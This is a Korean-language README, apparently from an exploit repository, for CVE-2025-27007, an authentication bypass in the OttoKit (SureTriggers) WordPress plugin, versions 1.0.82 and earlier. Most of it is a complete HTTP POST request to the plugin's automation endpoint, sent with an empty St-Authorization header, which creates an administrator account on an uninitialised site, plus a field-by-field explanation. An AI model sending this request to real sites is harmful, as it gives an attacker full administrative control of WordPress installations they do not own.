CVE-2025-27007: OttoKit (SureTriggers) 권한 상승 취약점

CVE-2025-27007의 악용: WordPress용 OttoKit 플러그인(이전 명칭 SureTriggers)의 무단 권한 상승 취약점입니다. 이 리포지토리는 공격자가 취약한 WordPress 사이트에서 관리자 계정을 생성할 수 있는 방법을 설명합니다.

영향을 받는 버전

• OttoKit (SureTriggers)의 모든 버전 ≤ 1.0.82.
• 버전 1.0.83에서 수정됨.

악용 조건

다음 상황에서 취약점이 악용될 수 있습니다:

1. OttoKit가 대상 WordPress 사이트에 설치 및 활성화되어 있어야 합니다.
2. 플러그인이 초기화되지 않은 상태 (예: 데이터베이스에 API 키 또는 "secret_key"가 설정되지 않음).
3. 대상 사이트에서 REST API 엔드포인트 '/wp-json/sure-triggers/v1/automation/action'이 노출되어 있어야 합니다.

HTTP 요청

다음 요청은 관리자 계정을 생성하기 위해 /wp-json/sure-triggers/v1/automation/action 엔드포인트를 대상으로 합니다:

POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1
Host: [target-site]
Content-Type: application/x-www-form-urlencoded
St-Authorization: 
Content-Length: [length]

selected_options[user_name]=new_admin&selected_options[user_email][email protected]&selected_options[password]=StrongP@ssw0rd123&selected_options[role]=administrator&aintegration=WordPress&type_event=create_user_if_not_exists

요청 설명

• Endpoint: POST /wp-json/sure-triggers/v1/automation/action

• St-Authorization: (비어 있음): 플러그인이 구성되지 않았을 때 인증을 우회합니다.

• selected_options[user_name]: 새 계정의 사용자 이름 (예: new_admin).

• selected_options[user_email]: 새 계정의 이메일 (예: [email protected]).

• selected_options[password]: 새 계정의 비밀번호 (예: StrongP@ssw0rd123).

• selected_options[role]: administrator로 설정하여 전체 권한을 부여합니다.

• type_event: create_user_if_not_exists로 설정하여 사용자 생성을 트리거합니다.